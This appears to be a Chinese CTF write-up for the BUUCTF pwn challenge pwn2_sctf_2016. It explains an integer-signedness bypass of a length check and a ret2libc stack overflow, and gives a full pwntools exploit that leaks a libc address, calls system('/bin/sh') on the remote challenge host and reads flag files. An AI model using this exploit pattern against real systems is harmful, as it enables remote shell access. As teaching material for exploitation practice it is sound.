本题难点:绕过字符串大小限制以及是否掌握了ret2libc。
1.Checksec & IDA Pro
主要关注 vuln、main函数
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
vuln函数
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n((int)nptr, 4u);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)nptr, v2);
return printf("You said: %s\n", nptr);
}
代码分析:
get_n 不是常规的get,get_n 是程序自定义的函数。
其中需要绕过字符串判断才能进行溢出。
if ( v2 > 32 )
为什么输入 -1 就能绕过长度判断呢?
因为 get_n 中,v2 是unsigned int
get_n((int)nptr, v2);
而 vuln 中,v2是 int
存在整数溢出,可以通过输入负数来绕过长度32的限制
计算机内部,当表示有符号数字时,使用的是补码:当数字为正,符号位取0,其他位按照这个数字值来显示。为负,符号位取1,其他位对应正数值取反后加1。
当转换成unsigned 型时,计算机不再区分符号位,直接把二进制转换为十进制。那1还是1,-1就成了其他值。
栈溢出漏洞位于 nptr 中
get_n((int)nptr, v2);
知道如何绕过后,计算溢出字符数量:
到这步输入 -1 绕过大小判断
可得大小为 44 个字符
在IDA Pro中查看 ntpr 一样可以获得,但是少部分时间可能不准确。
因 Ubuntu 16 ,想起来之前BUUCTF给过 Ubuntu 16 的libc,因此本文不使用LibcSearcher。其实使用也没什么大问题。就是要多试几次罢了。
构造Payload:
使用 printf 进行libc地址查询
leak_plt = elf.plt['printf']
leak_got = elf.got['printf']
main_addr = elf.sym['main']
payload=( b'A' * ( 44 + 4 ) + p32(leak_plt) + p32(main_addr) + p32(leak_got) )
real_addr = u32(io.recv(4))
libcbase = real_addr - libc.symbols['printf']
system = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh'))
Payload_Shell
payload_shell = (b'A' * ( 44 + 4 ) + p32(system) + b'aaaa' + p32(bin_sh) )
完整PoC
from pwn import *
#from LibcSearcher import LibcSearcher
from LibcSearcherX import *
#io = process("/root/Desktop/PwnSubjects/pwn2_sctf_2016")
elf = ELF("/root/Desktop/PwnSubjects/pwn2_sctf_2016")
libc = ELF("/root/Desktop/PwnExploits/Libc/libc-2.23.so")
io = remote("node4.buuoj.cn",25002)
leak_plt = elf.plt['printf']
leak_got = elf.got['printf']
main_addr = elf.sym['main']
context.log_level='debug'
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
io.recvuntil('How many bytes do you want me to read? ')
io.sendline('-1')
io.recvuntil('\n')
payload=( b'A' * ( 44 + 4 ) + p32(leak_plt) + p32(main_addr) + p32(leak_got) )
io.sendline(payload)
io.recvuntil('\n')
real_addr = u32(io.recv(4))
print("[+] Payload: \n",(payload))
print("[+] Leacked.")
print(("[+] Real Address: "),hex(real_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("printf",real_addr)
#libcbase = real_addr - libc.dump('printf')
#system = libcbase + libc.dump('system')
#bin_sh = libcbase + libc.dump('str_bin_sh')
#libc = LibcSearcherLocal("printf",real_addr)
#libcbase = real_addr - libc.sym['printf']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
libcbase = real_addr - libc.symbols['printf']
system = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh'))
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(real_addr))
print("[+] Base Address: ",hex(real_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
# 阶段4 获取shell
io.recvuntil('How many bytes do you want me to read? ')
io.sendline('-1')
io.recvuntil('\n')
payload_shell = (b'A' * ( 44 + 4 ) + p32(system) + b'aaaa' + p32(bin_sh) )
io.sendline(payload_shell)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()
成功获取flag
PoC原理解析:
绕过字符串大小检测 ---> 溢出 ---> 泄露函数 printf 的plt表地址 ---> 通过后3位在libc文件中查询有相同后3位的libc ---> 计算偏移地址得到基址 ---> 通过基址得到 system、/bin/sh ---> getshell
不知道为什么这套本地打不通,可能是我的系统问题。
Payload_Shell 中,b'AAAA' 替换成任何一个长度为4的字符串都行。